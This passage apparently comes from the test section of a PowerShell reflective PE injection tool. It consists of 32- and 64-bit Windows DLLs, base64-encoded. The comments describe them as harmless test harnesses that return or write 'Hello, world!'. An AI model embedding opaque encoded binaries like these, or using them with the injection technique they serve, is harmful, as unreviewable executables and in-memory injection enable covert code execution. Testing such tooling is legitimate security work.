zMzMzMzMzMy4ACAAEMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASABlAGwAbABvACwAIAB3AG8AcgBsAGQAIQAAAAAgABAAAAAA7/A8VgAAAABSIAAAAQAAAAEAAAABAAAASCAAAEwgAABQIAAAEBAAAHQgAAAAAFJlZmxlY3RpdmVQRUluamVjdFRlc3RIYXJuZXNzLmRsbABXU3RyaW5nRnVuYwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply returns "Hello, world!" upon having StringFunc called + $Encoded64BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called + $Encoded64BitVoidDll = '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' + $Encoded32BitVoidDll = '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